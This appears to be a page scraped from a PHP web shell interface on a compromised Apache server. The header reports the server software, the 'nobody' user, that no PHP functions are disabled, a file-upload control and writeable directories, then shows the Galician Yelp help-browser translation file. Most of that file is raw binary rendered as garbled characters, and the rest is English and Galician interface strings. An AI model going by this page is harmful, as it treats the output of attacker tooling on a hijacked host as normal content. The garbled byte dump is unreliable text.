KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/gl/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/gl/LC_MESSAGES/yelp.mo
29"9\e
*7 Fg	##;!Rt$#4F]ov
{
*.	
+"Kn0}) -2
?Mfr*{
,
(,Ery

"	0:
JX
^l{)
(=M`]
(02Bu8X+&xm$ged`eo+iWt65I	) 
 	! 
+ 9 > &K pr j N!
U!c!
i!t!!
!	!!!!!!!!
!"
""""
("3"?"
E"
S"^"	k"u"""""""""""#$$$$4$;+%@g%k%&+&
:&E&V&f&&&
&&&&
'!'')I's''('%'!("(%>()d(
((((((
)))+)>)Q)2d)2)%))'	*+1*]*Dz**)**+	#+-+C+I+\+n+++(+++++5,8,
K,.V,0,,!, ,-- -5-L-b-h-}-------
--.+.
A.0L.
}..	.%....Z
/e/r/+/4/9/&)0&P0w0000G0W1%r1k1_2ed2b2^-3n3e3a4e5nh55;5)6568R666666
6	667
7,$7Q7i7
<8G8Y8a8m8z88	88888	88
999$9,90979
G9
R9	`9j9
}99	99	9
99	999
::/::`#|g265"l!N:<B^%vT+$aV?zM>]Wi90;X IOsb)QKq[u,ojcm@C}R{p
Dy'PLF~&.n-EkeZUH_=x874tS(/3Y*J\hAG
	frdw1 GNOME Help Browser<b>Accessibility</b><b>Fonts</b><b>Printing</b>A bookmark titled %s already exists for this page.A bookmark titled <b>%s</b> already exists for this page.A documentation browser and viewer for the Gnome Desktop.A transformation context could not be created for the file ‘%s’. The format may not be supported.About This DocumentAccessibilityAccessoriesAdd BookmarkAdministrationAn error occurred while printingAn unknown error occuredApplicationsBookmarksC_ase sensitiveCommand Line HelpConfiguration FilesCopy _Email AddressCould not activate Yelp: '%s'Could not display help for Yelp.
%sCould not load documentCould not load sectionCould not load the OMF file '%s'.Could not open new window.Could not process documentCould not read documentCould not read the table of contentsDefine which cache directory to useDesktopDevelopmentDocument InformationDocument SectionsEducation ApplicationsFORTRAN FunctionsFin_d:FindFind Ne_xtFind Pre_viousFind _NextFind _PreviousFind next occurrence of the word or phraseFind previous occurrence of the word or phraseFont for fixed textFont for textFont for text with fixed width.Font for text with variable width.GNU Info PagesGNU info pages are not supported in this versionGamesGenerating PDF is not currently supportedGet help with GNOMEGo to the listing of help topicsGraphicsHardware DevicesHelpHelp BrowserHelp ContentsHelp On this applicationHelp TopicsInternetIt was not possible to print your documentKDEKernel RoutinesLibrary FunctionsLoading...Man pages are not supported in this version.Manual PagesMultimediaNo href attribute found on yelp:documentNo information is available about the error.OfficeOpen Bookmark in New WindowOpen Link in _New WindowOpen LocationOpen _LocationOpenSSL ApplicationsOpenSSL ConfigurationOpenSSL OverviewsOtherOther DocumentationOut of memoryOverviewsPOSIX FunctionsPOSIX HeadersPagesPanel AppletsPerl FunctionsPreferencesPreparing to printPrint This DocumentPrint This PagePrintingPrinting is not supported on this printerProgrammingQt FunctionsRe_nameRead info page for %sRead man page for %sRemove BookmarkRename BookmarkSGML documents are no longer supported. Please ask the author of the document to convert to XML.ScientificSearch for other documentationSearch is not supported in this version.Sets the end of the range of pages to be printedSets the start of the range of pages to be printedShow next page in historyShow previous page in historySystem AdministrationSystem CallsSystem ToolsTermcap ApplicationsThe Uniform Resource Identifier for the file is invalid.The Uniform Resource Identifier ‘%s’ is invalid or does not point to an actual file.The YelpDocInfo struct of the documentThe document ‘%s’ could not be processed. The file ‘%s’ is either missing, or it is not a valid XSLT stylesheet.The file  ‘%s’ could not be parsed. Either the file does not exist, or it is not a well-formed info page.The file ‘%s’ could not be parsed.  Either the file does not exist, or it is formatted incorrectly.The file ‘%s’ could not be parsed. Either the file does not exist, or it is improperly formatted.The file ‘%s’ could not be parsed. Either the file does not exist, or it is not well-formed XML.The file ‘%s’ could not be read and decoded. The file may be compressed in an unsupported format.The file ‘%s’ could not be read.  This file might be missing, or you might not have permissions to read it.The section ‘%s’ does not exist in this document. If you were directed to this section from a Help button in an application, please report this to the maintainers of that application.The table of contents could not be loaded. The file ‘%s’ is either missing or is not well-formed XML.The table of contents could not be processed. The file ‘%s’ is either missing or is not a valid XSLT stylesheet.Unsupported FormatUse a keyboard-controllable caret when viewing pages.Use caretUse system fontsUse the default fonts set for the system.Waiting to printX ApplicationsX11 ApplicationsX11 ConfigurationX11 DevicesX11 FunctionsX11 GamesX11 OverviewsYelpYelp FactoryYelpTocPager: Pause count is negative.You were trying to print to a printer using the "%s" driver.  This program requires a PostScript printer driver.Your search could not be processed. The file ‘%s’ is either missing or is not a valid XSLT stylesheet._About_Add Bookmark_Back_Bookmarks_Bookmarks:_Browse with caret_Close Window_Contents_Copy_Copy Link Address_Edit_Edit Bookmarks..._File_Find..._Find:_Fixed width:_Forward_From:_Go_Help_Help Topics_Location:_New Window_Next_Next Section_Open Link_Preferences_Previous_Previous Section_Reload_Search:_Select All_Title:_To:_Use system fonts_Variable width:_Wrap aroundtranslator-creditsyelp-watermark-blockquote-201CProject-Id-Version: gl
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-04-07 13:06+0200
PO-Revision-Date: 2006-04-07 13:07+0200
Last-Translator: Ignacio Casal Quinteiro <nacho.resa@gmail.com>
Language-Team: Galego <trasno@ceu.fi.udc.es>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n!=1)
X-Generator: KBabel 1.11.2
 Navegador de axuda de Gnome<b>Accesibilidade</b><b>Tipografías</b><b>Imprimindo</b>Xa existe un marcador titulado %s para esta páxina.Xa existe un marcador titulado <b>%s</b> para esta páxina.Un visor e examinador de documentación para o escritorio Gnome.Non se puido crear un contexto de transformación para o ficheiro '%s'. O formato pode non estar soportado.Acerca deste documentoAccesibilidadeAccesoriosEngadir marcadorAdministraciónOcorreu un erro ao imprimirOcorreu un erro descoñecidoAplicaciónsMarcadores_Distinguir maiúsc/minúscAxuda de liña de comandosFicheiros de configuraciónCopiar _enderezo de correo-eNon se puido activar o Yelp: '%s'Non se puido amosar a axuda para Yelp.
%sNon se pode cargar o documentoNon se puido cargar a secciónNon se puido cargar o ficheiro OMF '%s'.Non se puido abrir unha nova fiestra.Non se puido procesar o documentoNon se pode ler o documentoNon se puido ler a táboa de contidosDefinir que directorio de caché utilizarEscritorioDesenvolvementoInformación do documentoSeccións do documentoAplicacións educativasFuncións FORTRANP_rocurar:ProcurarProcurar _seguinteProcurar _anteriorProcurar _seguinteProcurar _anteriorProcurar a ocorrencia seguinte da frase ou palabraProcurar a ocorrencia anterior da frase ou palabraTipografía para o texto de acho fixoTipografía para o textoTipografía para o texto de ancho fixo.Tipografía para o texto con acho variable.Páxinas de información GNUAs páxinas de información GNU non están soportadas nesta versiónXogosXerar PDF non está soportado actualmenteObter axuda con GNOMEIr á lista de temas de axudaGráficosDispositivos hardwareAxudaNavegador de axudaContidos da axudaAxuda nesta aplicaciónTemas de axudaInternetNon foi posible imprimir o seu documentoKDERotinas do núcleoFuncións de bibliotecaCargando...As páxinas man non están soportadas nesta versión.Páxinas do manualMultimediaNon se atopou o atributo href en yelp:documentNon hai información dispoñible acerca do erro.OficinaAbrir marcador nunha nova fiestraAbrir enlace nunha _fiestra novaAbrir enderezoAbrir _enderezoAplicacións OpenSSLConfiguración OpenSSLVistas xerais OpenSSLOutroOutra documentaciónMemoria insuficientePrevisualizaciónsFuncións POSIXCabeceiras POSIXPáxinasApplets do panelFuncións PerlReferenzasPreparando para imprimirImprimir este documentoImprimir esta páxinaImprimindoA impresión non está soportada nesta impresoraProgramaciónFuncións QtRe_nomearLer a páxina de información para %sLer a páxina de manual de %sEliminar marcadorRenomear marcadorOs documentos SGML non se soportan máis. Pida ao autor do documento que o converta a XML.CientíficasBuscar outra documentaciónA busca non está soportada nesta versión.Establece o fin do rango de páxinas a ser imprimidoEsteblece o comezo do rango de páxinas para ser impresasMostrar a páxina seguinte na historiaMostrar a páxina anterior na historiaAdministración do sistemaChamadas ao sistemaFerramentas do sistemaAplicacións TermcapO identificador Uniforme de Recurso (URI) para o ficheiro é inválido.O identificador Uniforme de Recurso '%s' é inválido ou non apunta a un ficheiro real.A estructura YelpDocInfo do documentoO documento '%s' non se puido procesar. O ficheiro '%s' falta, ou non é unha folla de estilo XSLT válida.O ficheiro  '%s' non se puido analizar. Ou o ficheiro non existe, ou non é un XML ben formado.O ficheiro '%s' non se puido analizar. Ou o ficheiro non existe, ou está formateado incorrectamente.O ficheiro '%s' non se puido analizar. Ou o ficheiro non existe, ou está formateado erroneamente.O ficheiro '%s' non se puido analizar. Ou o ficheiro non existe, ou non é un XML ben formado.O ficheiro '%s' non se puido ler e decodificar. O ficheiro poderá estar comprimido nun formato non soportado.O ficheiro '%s' non su puido ler. Este ficheiro quizá falte, ou quizá non teña permiso para leelo.A sección '%s' non existe neste documento. Se se lle indicou esta sección desde un botón Axuda na aplicación, informe disto aos mantedores desa aplicación.A tabla de contidos non se puido cargar. O ficheiro '%s' falta ou non é un ficheiro XML ben formado.A táboa de contido non se puido procesar. O ficheiro '%s' falta ou non é unha folla de estilos XSLT válida.Formato non soportadoUsar un cursor contralabel polo teclado ao ver as páxinas.Usar cursorUsar tipografías do sistemaUsar conxunto de tipografías predeterminado do sistema.Agardando para imprimirAplicacións XAplicacións X11Configuración X11Dispositivos X11Funcións X11Xogos X11Vistas xerais X11YelpFábrica YelpYelpTocPager: A conta de pausas é negativa.Estaba tentando imprimir nunha impresora usando o controlador "%s". Este programa require un controlador de impresora PostScriptA túa busca non puido ser procesada. O ficheiro '%s' falta ou non é unha folla de estilos XSLT válida._Acerca de_Engadir marcador_Atrás_Marcadores_Marcadores:_Examinar con cursor_Pechar fiestra_Contidos_Copiar_Copiar enderezo do enlace_Editar_Editar marcadores..._Ficheiro_Procurar..._Procurar:Anchura _fixa:_Adiante_Desde:_IrA_xuda_Temas de axuda_Enderezo:_Nova fiestra_Seguinte_Seguinte sección_Abrir enlace_Preferenzas_AnteriorSección _anterior_Recargar_Procurar:_Seleccionar todo_Título:_Ata:_Usar tipografías do sistemaAnchura _variable:_Voltar ao inicioIgnacio Casal Quinteiro <nacho.resa@gmail.com>
Proxecto Trisquel - trisquel.uvigo.es

Jesús Bravo Álvarez <suso@trasno.net>
Proxecto Trasno - http://www.trasno.netyelp-watermark-blockquote-00AB

Anon7 - 2021